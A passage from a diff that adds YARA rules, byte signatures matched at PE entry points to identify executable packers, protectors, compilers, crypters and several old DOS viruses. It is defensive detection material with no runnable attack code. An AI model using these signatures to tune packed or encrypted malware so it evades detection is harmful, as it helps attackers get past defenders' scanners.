FF 45 FC 46 80 3E 00 75 F7 BA 00 00 00 00 8B 75 08 8B 7D 0C EB 7F C7 45 F8 00 00 00 00 EB }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule StonesPEEncryptorv10
+	{
+	strings:
+			$a0 = { 55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 63 3A 40 ?? 2B 95 C2 3A 40 ?? 83 EA 0B 89 95 CB 3A 40 ?? 8D B5 CA 3A 40 ?? 0F B6 36 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PolyBoxDAnskya
+	{
+	strings:
+			$a0 = { 55 8B EC 33 C9 51 51 51 51 51 53 33 C0 55 68 84 2C 40 00 64 FF 30 64 89 20 C6 45 FF 00 B8 B8 46 40 00 BA 24 00 00 00 E8 8C F3 FF FF 6A 24 BA B8 46 40 00 8B 0D B0 46 40 00 A1 94 46 40 00 E8 71 FB FF FF 84 C0 0F 84 6E 01 00 00 8B 1D D0 46 40 00 8B C3 83 C0 24 03 05 D8 46 40 00 3B 05 B4 46 40 00 0F 85 51 01 00 00 8D 45 F4 BA B8 46 40 00 B9 10 00 00 00 E8 A2 EC FF FF 8B 45 F4 BA 9C 2C 40 00 E8 F1 ED FF FF }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Mew10execoder10NorthfoxHCC
+	{
+	strings:
+			$a0 = { 33 C0 E9 ?? ?? FF FF 6A ?? ?? ?? ?? ?? 70 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECrypt102
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DIETv100d
+	{
+	strings:
+			$a0 = { FC 06 1E 0E 8C C8 01 ?? ?? ?? BA ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackV119LZMA430ap0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ENIGMAProtectorV112SukhovVladimir
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 83 C5 FA 81 ED ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03fakeASPack212FEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MacromediaWindowsFlashProjectorPlayerv50
+	{
+	strings:
+			$a0 = { 83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule IDApplicationProtector12IDSecuritySuite
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED F2 0B 47 00 B9 19 22 47 00 81 E9 EA 0E 47 00 89 EA 81 C2 EA 0E 47 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPACKv305c4ExtractablePasswordchecking
+	{
+	strings:
+			$a0 = { 03 05 80 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule HASPHLProtectionV1XAladdin
+	{
+	strings:
+			$a0 = { 55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 }
+	$a1 = { 55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 15 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule ASProtectv10
+	{
+	strings:
+			$a0 = { 60 E8 01 ?? ?? ?? 90 5D 81 ED ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASProtectv11
+	{
+	strings:
+			$a0 = { 60 E9 ?? 04 ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? EE }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov275a
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 68 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner0132Lite003Anorganix
+	{
+	strings:
+			$a0 = { 60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 ?? ?? ?? ?? E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule VxDoom666
+	{
+	strings:
+			$a0 = { E8 ?? ?? ?? 5E 83 EE ?? B8 CF 7B CD 21 3D CF 7B ?? ?? 0E 1F 81 C6 ?? ?? BF ?? ?? B9 ?? ?? FC F3 A4 06 1F 06 B8 ?? ?? 50 CB B4 48 BB 2C 00 CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxSpanz
+	{
+	strings:
+			$a0 = { E8 00 00 5E 81 EE ?? ?? 8D 94 ?? ?? B4 1A CD 21 C7 84 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule BeRoEXEPackerv100DLLLZBRSBeRoFarbrausch
+	{
+	strings:
+			$a0 = { 83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Pksmart10b
+	{
+	strings:
+			$a0 = { BA ?? ?? 8C C8 8B C8 03 C2 81 ?? ?? ?? 51 B9 ?? ?? 51 1E 8C D3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PELockv106
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 4B 45 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule LaunchAnywherev4001
+	{
+	strings:
+			$a0 = { 55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv033v034BetaDwing
+	{
+	strings:
+			$a0 = { 59 F3 A5 83 C8 FF 8B DF AB 40 AB 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule GameGuardnProtect
+	{
+	strings:
+			$a0 = { 31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B 40 0C 8B 40 0C C7 40 20 00 10 00 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 85 C0 75 16 E9 12 00 00 00 31 C0 64 A0 20 00 00 00 85 C0 75 05 E9 01 00 00 00 61 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule yodasProtectorV1032AshkbizDanehkar
+	{
+	strings:
+			$a0 = { E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule nBinderv40
+	{
+	strings:
+			$a0 = { 5C 6E 62 34 5F 74 6D 70 5F 30 31 33 32 34 35 34 33 35 30 5C 00 00 00 00 00 00 00 00 00 E9 55 43 4C FF 01 1A 00 00 00 00 96 30 07 77 2C 61 0E EE BA 51 09 99 19 C4 6D 07 8F F4 6A 70 35 A5 63 E9 A3 95 64 9E 32 88 DB 0E A4 B8 DC 79 }
+
+	condition:
+			$a0
+	}
+rule AnslymFUDCrypter
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EPExEPackV10EliteCodingGroup
+	{
+	strings:
+			$a0 = { 60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule SimplePack12build3009Method2bagie
+	{
+	strings:
+			$a0 = { 4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule WinZip32bitSFXv6xmodule
+	{
+	strings:
+			$a0 = { FF 15 ?? ?? ?? 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10 38 08 74 06 40 80 38 00 75 F6 80 38 00 74 01 40 33 C9 ?? ?? ?? ?? FF 15 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxEinstein
+	{
+	strings:
+			$a0 = { 00 42 CD 21 72 31 B9 6E 03 33 D2 B4 40 CD 21 72 19 3B C1 75 15 B8 00 42 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule VideoLanClient
+	{
+	strings:
+			$a0 = { 55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule CrunchPEv10xx
+	{
+	strings:
+			$a0 = { 55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 09 C6 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxTravJack883
+	{
+	strings:
+			$a0 = { EB ?? 9C 9E 26 ?? ?? 51 04 ?? 7D ?? 00 ?? 2E ?? ?? ?? ?? 8C C8 8E C0 8E D8 80 ?? ?? ?? ?? 74 ?? 8A ?? ?? ?? BB ?? ?? 8A ?? 32 C2 88 ?? FE C2 43 81 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+/*	
+	rule StarForceProActive11StarForceTechnology
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? FF 25 ?? ?? 57 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+*/	
+	
+	rule RSCsProcessPatcherv151
+	{
+	strings:
+			$a0 = { 68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83 }
+
+	condition:
+			$a0
+	}
+	rule kryptor9
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5E B9 ?? ?? ?? ?? 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SecuPackv15
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 ?? E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 ?? 64 FF 30 64 89 20 6A ?? 68 80 ?? ?? ?? 6A 03 6A ?? 6A 01 ?? ?? ?? 80 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule kryptor5
+	{
+	strings:
+			$a0 = { E8 03 ?? ?? ?? E9 EB 6C 58 40 FF E0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule kryptor6
+	{
+	strings:
+			$a0 = { E8 03 ?? ?? ?? E9 EB 68 58 33 D2 74 02 E9 E9 40 42 75 02 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ACProtectV13Xrisco
+	{
+	strings:
+			$a0 = { 60 50 E8 01 00 00 00 75 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PELockNTv202c
+	{
+	strings:
+			$a0 = { EB 02 C7 85 1E EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02 CD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02MinGWGCC2xAnorganix
+	{
+	strings:
+			$a0 = { 55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FreeBASIC016b
+	{
+	strings:
+			$a0 = { 55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 90 90 90 90 90 90 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+
+	rule RCryptorv16bv16cVaska
+	{
+	strings:
+			$a0 = { 8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 }
+	$a1 = { 8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule FileShield
+	{
+	strings:
+			$a0 = { 50 1E EB ?? 90 00 00 8B D8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SDC12SelfDecryptingBinaryGeneratorbyClaesMNyberg
+	{
+	strings:
+			$a0 = { 55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 A0 91 40 00 E8 DB FE FF FF 55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91 00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00 00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00 E8 CE 24 00 00 83 F8 01 0F 84 C4 00 00 00 85 C0 0F 85 A9 00 00 00 31 C0 83 C4 14 5B 5D C2 04 00 3D 94 00 00 C0 74 56 3D 96 00 00 C0 74 1E 3D 93 00 00 C0 75 E1 EB B5 3D 05 00 00 C0 8D B4 26 00 00 00 00 74 43 3D 1D 00 00 C0 75 CA C7 44 24 04 00 00 00 00 C7 04 24 04 00 00 00 E8 73 24 00 00 83 F8 01 0F 84 99 00 00 00 85 C0 74 A9 C7 04 24 04 00 00 00 FF D0 B8 FF FF FF FF EB 9B 31 DB 8D 74 26 00 E9 69 FF FF FF C7 44 24 04 00 00 00 00 C7 04 24 0B 00 00 00 E8 37 24 00 00 83 F8 01 74 7F 85 C0 0F 84 6D FF FF FF C7 04 24 0B 00 00 00 8D 76 00 FF D0 B8 FF FF FF FF E9 59 FF FF FF C7 04 24 08 00 00 00 FF D0 B8 FF FF FF FF E9 46 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 08 00 00 00 E8 ED 23 00 00 B8 FF FF FF FF 85 DB 0F 84 25 FF FF FF E8 DB 15 00 00 B8 FF FF FF FF E9 16 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 04 00 00 00 E8 BD 23 00 00 B8 FF FF FF FF E9 F8 FE FF FF C7 44 24 04 01 00 00 00 C7 04 24 0B 00 00 00 E8 9F 23 00 00 B8 FF FF FF FF E9 DA FE FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PKLITEv1501
+	{
+	strings:
+			$a0 = { 50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 ?? BA ?? ?? CD 21 B8 ?? ?? CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Inbuildv10hard
+	{
+	strings:
+			$a0 = { B9 ?? ?? BB ?? ?? 2E ?? ?? 2E ?? ?? 43 E2 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeShieldvxx
+	{
+	strings:
+			$a0 = { 65 78 65 73 68 6C 2E 64 6C 6C C0 5D 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RCryptorv20Vaska
+	{
+	strings:
+			$a0 = { F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? 02 00 00 F7 D1 83 F1 FF 59 BA 32 21 ?? 00 F7 D1 83 F1 FF F7 D1 83 F1 FF 80 02 E3 F7 D1 83 F1 FF C0 0A 05 F7 D1 83 F1 FF 80 02 6F F7 D1 83 F1 FF 80 32 A4 F7 D1 83 F1 FF 80 02 2D F7 D1 83 F1 FF 42 49 85 C9 75 CD 1C 4F 8D 5B FD 62 1E 1C 4F 8D 5B FD 4D 9D B9 ?? ?? ?? 1E 1C 4F 8D 5B FD 22 1C 4F 8D 5B FD 8E A2 B9 B9 E2 83 DB E2 E5 4D CD 1E BF 60 AB 1F 4D DB 1E 1E 3D 1E 92 1B 8E DC 7D EC A4 E2 4D E5 20 C6 CC B2 8E EC 2D 7D DC 1C 4F 8D 5B FD 83 56 8E E0 3A 7D D0 8E 9D 6E 7D D6 4D 25 06 C2 AB 20 CC 3A 4D 2D 9D 6B 0B 81 45 CC 18 4D 2D 1F A1 A1 6B C2 CC F7 E2 4D 2D 9E 8B 8B CC DE 2E 2D F7 1E AB 7D 45 92 30 8E E6 B9 7D D6 8E 9D 27 DA FD FD 1E 1E 8E DF B8 7D CF 8E A3 4D 7D DC 1C 4F 8D 5B FD 33 D7 1E 1E 1E A6 0B 41 A1 A6 42 61 6B 41 6B 4C 45 1E 21 F6 26 BC E2 62 1E 62 1E 62 1E 23 63 59 ?? 1E 62 1E 62 1E 33 D7 1E 1E 1E 85 6B C2 41 AB C2 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 20 33 9E 1E 1E 1E 85 A2 0B 8B C2 27 41 EB A1 A2 C2 1E C0 FD F0 FD 30 62 1E 33 7E 1E 1E 1E C6 2D 42 AB 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 C0 FD F0 8E 1D 1C 4F 8D 5B FD E0 00 33 5E 1E 1E 1E BF 0B EC C2 E6 42 A2 C2 45 1E C0 FD F0 FD 30 CE 36 CC F2 1C 4F 8D 5B FD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv125
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? F3 0D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule RCryptorv1Vaska
+	{
+	strings:
+			$a0 = { 90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 }
+	$a1 = { 90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv122
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 ?? 70 40 ?? 90 90 01 85 9E 70 40 ?? BB F3 08 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Packmanv10BrandonLaCombe
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA 8B E8 C6 06 E9 8B 43 0C 89 46 01 6A 04 68 00 10 00 00 FF 73 08 51 FF 55 08 8B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SpecialEXEPaswordProtectorV101EngPavolCerven
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeSmashervxx
+	{
+	strings:
+			$a0 = { 9C FE 03 ?? 60 BE ?? ?? 41 ?? 8D BE ?? 10 FF FF 57 83 CD FF EB 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEArmor046ChinaCrackingGroup
+	{
+	strings:
+			$a0 = { E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VMProtect106107PolyTech
+	{
+	strings:
+			$a0 = { 9C 60 68 00 00 00 00 8B 74 24 28 BF ?? ?? ?? ?? FC 89 F3 03 34 24 AC 00 D8 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule USSR031bySpirit
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 5D 83 C5 12 55 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 8C C9 30 C9 E3 01 C3 BE 32 ?? ?? ?? B0 ?? 30 06 8A 06 46 81 FE 00 ?? ?? ?? 7C F3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PeCompact253DLLSlimLoaderBitSumTechnologies
+	{
+	strings:
